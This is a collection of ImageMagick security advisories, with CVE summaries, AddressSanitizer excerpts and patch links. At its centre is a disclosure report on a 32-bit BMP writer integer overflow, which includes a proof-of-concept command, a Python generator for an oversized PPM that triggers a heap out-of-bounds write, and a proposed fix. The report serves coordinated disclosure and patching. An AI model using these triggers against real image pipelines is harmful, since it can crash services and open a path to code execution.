Buffer overflow in the EXIF parsing routine in ImageMagick before 6.1.0 allows remote attackers to execute arbitrary code via a certain image file.

A vulnerability was found in ImageMagick. This issue can allow remote code execution in OpenBlob with --enable-pipes configured.

ImageMagick is free and open-source software used for editing and manipulating digital images. The BilateralBlurImage method will allocate a set of double buffers inside AcquireBilateralTLS. But, in versions prior to 7.1.2-13, the last element in the set is not properly initialized. This will result in a release of an invalid pointer inside DestroyBilateralTLS when the memory allocation fails. Version 7.1.2-13 contains a patch for the issue.

ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-13 and 6.9.13-38, a heap buffer overflow vulnerability in the XBM image decoder (ReadXBMImage) allows an attacker to write controlled data past the allocated heap buffer when processing a maliciously crafted image file. Any operation that reads or identifies an image can trigger the overflow, making it exploitable via common image upload and processing pipelines. Versions 7.1.2-13 and 6.9.13-38 fix the issue.

A crafted MSL script triggers a heap-use-after-free. The operation element handler replaces and frees the image while the parser continues reading from it, leading to a UAF in ReadBlobString during further parsing.

A heap buffer overflow write vulnerability exists in ReadYUVImage() (coders/yuv.c) when processing malicious YUV 4:2:2 (NoInterlace) images. The pixel-pair loop writes one pixel beyond the allocated row buffer.

================================================================= ==204642==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5170000002e0 at pc 0x562d21a7e8de bp 0x7fffa9ae1270 sp 0x7fffa9ae1260 WRITE of size 8 at 0x5170000002e0 thread T0

Summary Magick fails to check for circular references between two MSLs, leading to a stack overflow.

Details After reading a.msl using magick, the following is displayed:

MSLStartElement -> ReadImage -> ReadMSLImage -> ProcessMSLScript -> xmlParseChunk -> xmlParseTryOrFinish -> MSLStartElement

bash AddressSanitizer:DEADLYSIGNAL ================================================================= ==114345==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x72509fc7d804 bp 0x7ffd6598b390 sp 0x7ffd6598ab20 T0) #0 0x72509fc7d804 in strlen ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:388 [...]

A stack buffer overflow occurs when processing the an attribute in msl.c. A long value overflows a fixed-size stack buffer, leading to memory corruption.

================================================================= ==278522==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdb8c76984 at pc 0x55a4bf16f507 bp 0x7ffdb8c75bc0 sp 0x7ffdb8c75bb0 WRITE of size 1 at 0x7ffdb8c76984 thread T0

An Integer Overflow vulnerability exists in the sun decoder. On 32-bit systems/builds, a carefully crafted image can lead to an out of bounds heap write.

================================================================= ==1967675==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf190b50e at pc 0x5eae8777 bp 0xffb0fdd8 sp 0xffb0fdd0 WRITE of size 1 at 0xf190b50e thread T0

Last updated 25 August 2025

Fixed boundary checks in DecodePSDPixels.

CVE assignment:

http://seclists.org/oss-sec/2016/q2/459

Upstream patch:

https://anonscm.debian.org/cgit/collab-maint/imagemagick.git/commit/?h=debian-patches/6.8.9.9-4-for-upstream&id=b8df15144d91a19ed545893ea492363635a1cb29

Fixed throwing of exceptions in psd handling.

CVE assignment:

http://seclists.org/oss-sec/2016/q2/459

Upstream patch:

https://anonscm.debian.org/cgit/collab-maint/imagemagick.git/commit/?h=debian-patches/6.8.9.9-4-for-upstream&id=f9ef11671c41da4cf973d0d880af1cdfbd127860

Added checks to prevent overflow in rle file.

CVE assignment:

http://seclists.org/oss-sec/2016/q2/459

Upstream patch:

https://anonscm.debian.org/cgit/collab-maint/imagemagick.git/commit/?h=debian-patches/6.8.9.9-4-for-upstream&id=2d90693af41a363a988a9db3a91a15f9ca7c7370

ImageMagick before 6.9.9-24 and 7.x before 7.0.7-12 has a use-after-fr ...

coders/psd.c in ImageMagick allows remote attackers to have unspecified impact by leveraging an improper cast, which triggers a heap-based buffer overflow.

ImageMagick is vulnerable to a heap-based buffer overflow, caused by a flaw in the WriteSGIImage function in coders/sgi.c. By persuading a victim to open a specially-crafted file, a remote attacker could overflow a buffer and execute arbitrary code on the system.

Don't try to handle a "previous" image in the JNG decoder.

CVE assignment:

http://seclists.org/oss-sec/2016/q2/459

Upstream patch:

https://anonscm.debian.org/cgit/collab-maint/imagemagick.git/commit/?h=debian-patches/6.8.9.9-4-for-upstream&id=f4ece8c7c462c5449138f39401f66318b9ab0430

distribute-cache.c in ImageMagick re-uses objects after they have been destroyed, which allows remote attackers to have unspecified impact via unspecified vectors.

Multiple buffer overflows in Imagemagick 6.0 before 6.0.6.2, and 6.2 before 6.2.4.5, has unknown impact and user-assisted attack vectors via a crafted SGI image.

Multiple integer overflows in (1) the XGetPixel function in ImUtil.c in X.Org libx11 before 1.0.3, and (2) XInitImage function in xwd.c for ImageMagick, allow user-assisted remote attackers to cause a denial of service (crash) or obtain sensitive information via crafted images with large or negative values that trigger a buffer overflow.

Buffer overflow in GraphicsMagick and ImageMagick allows user-assisted remote attackers to cause a denial of service and possibly execute arbitrary code via a PALM image that is not properly handled by the ReadPALMImage function in coders/palm.c. NOTE: this issue is due to an incomplete patch for CVE-2006-5456.

ImageMagick before 7.1.2-15 and 6.9.13-40 contains a command injection vulnerability in the SVG decoder that allows attackers to inject arbitrary MVG drawing commands. Attackers can craft malicious SVG files with injected Magick Vector Graphics commands that execute during rendering.

ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, the UIL and XPM image encoder do not validate the pixel index value returned by GetPixelIndex() before using it as an array subscript. In HDRI builds, Quantum is a floating-point type, so pixel index values can be negative. An attacker can craft an image with negative pixel index values to trigger a global buffer overflow read during conversion, leading to information disclosure or a process crash. Versions 7.1.2-15 and 6.9.13-40 contain a patch.

A heap buffer over-read vulnerability exists in the MAP image decoder when processing crafted MAP files, potentially leading to crashes or unintended memory disclosure during image decoding.

================================================================= ==4070926==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000002b31 at pc 0x56517afbd910 bp 0x7ffc59e90000 sp 0x7ffc59e8fff0 READ of size 1 at 0x502000002b31 thread T0

ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, ImageMagick lacks proper boundary checking when processing Huffman-coded data from PCD (Photo CD) files. The decoder contains an function that has an incorrect initialization that could cause an out of bounds read. Versions 7.1.2-15 and 6.9.13-40 contain a patch.

ImageMagick is vulnerable to a heap-based buffer overflow, caused by a flaw in the WritePNGImage function in coders/png.c. By persuading a victim to open a specially-crafted file, a remote attacker could overflow a buffer and execute arbitrary code on the system.

Summary

A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytesperline (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.

- Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP. - Surface: Typical upload → normalize/thumbnail → magick ... out.bmp workers. - 32-bit: Vulnerable (reproduced with ASan). - 64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards. - Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

---

Scope & Affected Builds

- Project: ImageMagick (BMP writer path, WriteBMPImage in coders/bmp.c). - Commit under test: 3fcd081c0278427fc0e8ac40ef75c0a1537792f7 - Version string from the run: ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712 - Architecture: 32-bit i686 (sizeof(sizet) == 4) with ASan/UBSan. - Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.

---

Root Cause (with code anchors)

Stride computation (writer)

c bytesperline = 4 ((image->columns bmpinfo.bitsperpixel + 31) / 32);

Per-row base and 24-bpp loop (writer)

c q = pixels + ((ssizet)image->rows - y - 1) (ssizet)bytesperline; for (x = 0; x < (ssizet)image->columns; x++) { q++ = B(...); q++ = G(...); q++ = R(...); // writes 3 width bytes }

Allocation (writer)

c pixelinfo = AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns + 256UL) sizeof(pixels)); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);

Dimension “caps” (insufficient)

The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INTMAX on 32-bit, so the caps do not prevent the bug.

---

Integer-Overflow Analysis (32-bit sizet)

Stride formula for 24-bpp:

bytesperline = 4 ((width 24 + 31) / 32)

There are two independent overflow hazards on 32-bit:

1. Stage-1 multiply+add in (width 24 + 31) Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969 → at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytesperline. 2. Stage-2 final ×4 after the division Let q = (width 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF. Solving gives width ≥ 1,431,655,765 (0x55555555).

Both thresholds are below INTMAX (≈2.147e9), so “int caps” don’t help.

Mismatch predicate (guaranteed OOB when overflowed): Per-row write for 24-bpp is rowbytes = 3width. Safety requires rowbytes ≤ bytesperline. Under either overflow, bytesperline collapses → 3width > bytesperline holds → OOB-write.

---

Concrete Demonstration

Chosen width: W = 178,957,200 (just over Stage-1 bound)

- Stage-1: 24W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 5535 - Divide by 32: 5535 / 32 = 172 - Multiply by 4: bytesperline = 172 4 = 688 bytes ← tiny stride - Per-row data (24-bpp): rowbytes = 3W = 536,871,600 bytes - Allocation used: MagickMax(688, W+256) = 178,957,456 bytes - Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes. ---

Observed Result (ASan excerpt)

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 in WriteBMPImage coders/bmp.c:2309 ... allocated by: AcquireVirtualMemory MagickCore/memory.c:747 WriteBMPImage coders/bmp.c:2092

- Binary: ELF 32-bit i386, Q8, non-HDRI - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)

---

Exploitability & Risk

- Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot. - Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP). - Likely deployment: Server-side, non-interactive conversion pipelines (UI:N). - Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.

Note on 64-bit: Without integer overflow, bytesperline = 4 ceil((3width)/4) ≥ 3width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.

---

Reproduction (copy-paste triager script)

Test Environment:

- docker run -it --rm --platform linux/386 debian:11 bash - Install deps: apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3 - Clone & checkout: ImageMagick 7.1.2-0 → commit 3fcd081c0278427f... - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):

bash ./configure \ --host=i686-pc-linux-gnu \ --build=x8664-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"

make -j"$(nproc)" - Runtime limits to exercise writer:

bash export MAGICKWIDTHLIMIT=200000000 export MAGICKHEIGHTLIMIT=200000000 export MAGICKTEMPORARYPATH=/tmp export TMPDIR=/tmp export ASANOPTIONS="detectleaks=0:malloccontextsize=20:allocdeallocmismatch=0"

One-liner trigger (no input file):

bash W=178957200 ./utilities/magick \ -limit width 200000000 -limit height 200000000 \ -limit memory 268435456 -limit map 0 -limit disk 200000000000 \ -limit thread 1 \ -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null

Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).

Alternate PoC (raw PPM generator):

python #!/usr/bin/env python3 W, H, MAXV = 180000000, 1, 255 W > 178,956,969 with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") (10241024) remaining = 3 W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n Then: magick huge.ppm out.bmp

---

Proposed Severity

- Primary vector (server auto-convert): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical - If strictly CLI/manual conversion: UI:R → 8.8 High

---

Maintainer Pushbacks — Pre-empted

- “MagickMax makes allocation large.” The row base advances by overflowed bytesperline, causing row overlap and eventual region exit regardless of total allocation size. - “We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS. - “Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct. ---

Remediation (Summary)

Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (rowbytes) always fits within the computed stride (bytesperline). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.

Concretely:

- Validate width and bitsperpixel before the stride formula to ensure (widthbpp + 31) cannot overflow a sizet. - Compute rowbytes for the chosen bpp and assert rowbytes <= bytesperline. - Bound rows stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.

A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).

---

Regression Tests to Include (PR-friendly)

1. 32-bit overflow repros (with ASan): - rows=1, width ≥ 178,956,970, bpp=24 → now cleanly errors. - rows=2, same bound → no row overlap; clean error. 2. 64-bit sanity: Medium images (e.g., 8192×4096, 24-bpp) round-trip; header’s biSizeImage = rows bytesperline. 3. Packed bpp (1/4/8): Validate rowbytes = (widthbpp+7)/8 (guarded), 4-pad, and payload ≤ stride holds.

---

Attachments (private BMPPackage) Provided with report: README.md, pocppmgenerator.py, reprocommands.sh, fullasanbmpcrash.txt, appendixapatchblock.c. (Private gist link with package provided separately.)

---

Disclosure & Coordination

- Reporter: Lumina Mescuwa - Tested on: i686 Linux container (details in Repro) - Timeline: August 19th, 2025

---

Appendices

Appendix A — Patch block tailored to  bmp.c

Where this hooks in (current code):

- Stride is computed here: bytesperline=4((image->columnsbmpinfo.bitsperpixel+31)/32); - Header uses bmpinfo.imagesize=(unsigned int) (bytesperlineimage->rows); - Allocation uses AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns+256UL)sizeof(pixels)); - 24-bpp row loop writes pixels then zero-pads up to bytesperline (so the per-row slot size matters): for (x=3L(ssizet)image->columns; x < (ssizet)bytesperline; x++) q++=0x00;

---

Suggested Patch (minimal surface, guards + invariant)

I recommend this in place of the existing bytesperline assignment and the subsequent bmpinfo.imagesize / allocation block. Keep your macros and local variables as-is.

c / --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- /

/ 1) Guard the original stride arithmetic (preserve behavior, add checks). / if (bmpinfo.bitsperpixel == 0 || (sizet)image->columns > (SIZEMAX - 31) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

sizet tmp = (sizet)image->columns (sizet)bmpinfo.bitsperpixel + 31; / Divide first; then check the final ×4 won't overflow. / tmp /= 32; if (tmp > (SIZEMAX / 4)) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

bytesperline = 4 tmp; / same formula as before, now checked /

/ 2) Compute the actual data bytes written per row for the chosen bpp. / sizet rowbytes; if (bmpinfo.bitsperpixel == 1 || bmpinfo.bitsperpixel == 4 || bmpinfo.bitsperpixel == 8) { / packed: ceil(widthbpp/8) / if ((sizet)image->columns > (SIZEMAX - 7) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = (((sizet)image->columns (sizet)bmpinfo.bitsperpixel) + 7) >> 3; } else { / 16/24/32 bpp: (bpp/8) width / sizet bppbytes = (sizet)bmpinfo.bitsperpixel / 8; if (bppbytes == 0 || (sizet)image->columns > SIZEMAX / bppbytes) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = bppbytes (sizet)image->columns; }

/ 3) Per-row safety invariant: the payload must fit the stride. / if (rowbytes > bytesperline) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

/ 4) Guard header size and allocation products. / if ((sizet)image->rows == 0) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

/ biSizeImage = rows bytesperline (DIB field is 32-bit) / if (bytesperline > 0xFFFFFFFFu / (sizet)image->rows) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bmpinfo.imagesize = (unsigned int)(bytesperline (sizet)image->rows);

/ Allocation count = rows strideused, with existing MagickMax policy. / sizet stride = MagickMax(bytesperline, (sizet)image->columns + 256UL); if (stride > SIZEMAX / (sizet)image->rows) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

pixelinfo = AcquireVirtualMemory((sizet)image->rows, stride sizeof(pixels)); if (pixelinfo == (MemoryInfo ) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);

/ Optional: keep zeroing aligned to computed header size. / (void) memset(pixels, 0, (sizet) bmpinfo.imagesize);

/ --- PATCH END --- /

Why this is the right spot?

- It replaces the unguarded stride line you currently have, without changing the algorithm (still 4((Wbpp+31)/32)).  - It fixes the header (biSizeImage) to be a checked product, instead of a potentially wrapped multiplication.  - It guards allocation where you presently allocate rows × MagickMax(bytesperline, columns+256).  - The invariant rowbytes ≤ bytesperline ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to bytesperline) can never exceed the per-row slot the code relies on.

---

Notes

- Behavior preserved: The stride value for normal images is unchanged; only pathological integer states are rejected.  - Header consistency: biSizeImage = rows bytesperline remains true by construction, but now cannot overflow a 32-bit DIB field.  - Defensive alignment: If you prefer, you can compute bytesperline as ((rowbytes + 3) & ~3U); it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.

A slightly larger “helpers” variant (with safemulsize / safeaddsize utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.

Appendix B — Arithmetic Worked Example (W=178,957,200)

- (24W + 31) mod 2^32 = 5535 - bytesperline = 4 (5535/32) = 688 - rowbytes (24-bpp) = 536,871,600 - Allocation via MagickMax = 178,957,456 → immediate row 0 out-of-bounds.

Appendix C — Raw ASan Log (trimmed)

================================================================= ==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 at 0x6eaac490 thread T0 #0 0xed2788 in WriteBMPImage coders/bmp.c:2309 #1 0x13da32c in WriteImage MagickCore/constitute.c:1342 #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564 0x6eaac490 is located 0 bytes to the right of 178957456-byte region allocated by thread T0 here: #0 0x408e30ab in interceptorposixmemalign #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747 #2 0xecd597 in WriteBMPImage coders/bmp.c:2092

A flaw was found in ImageMagick 7.0.8-3 Q16, ReadBMPImage and WriteBMPImage in coders/bmp.c allow attackers to cause an out of bounds write via a crafted file.

References: https://github.com/ImageMagick/ImageMagick/issues/1177

Patch: https://github.com/ImageMagick/ImageMagick6/commit/081f518eb9cb38e683b8b9ccb9e4ab5c52f82c2f https://github.com/ImageMagick/ImageMagick/commit/ae04fa4be910255e5d363edebd77adeee99a525d

A memory allocation failure was found in ImageMagick in quantum.c.

Upstream patch:

https://github.com/ImageMagick/ImageMagick/commit/6e48aa92ff4e6e95424300ecd52a9ea453c19c60

References:

http://seclists.org/oss-sec/2016/q4/66 https://blogs.gentoo.org/ago/2016/10/07/imagemagick-memory-allocate-failure-in-acquirequantumpixels-quantum-c/

A memory allocation failure was found in ImageMagick in memory.c

References:

http://seclists.org/oss-sec/2016/q4/167 https://blogs.gentoo.org/ago/2016/10/17/imagemagick-memory-allocation-failure-in-acquiremagickmemory-memory-c/

Upstream patch:

https://github.com/ImageMagick/ImageMagick/commit/aea6c6507f55632829e6432f8177a084a57c9fcc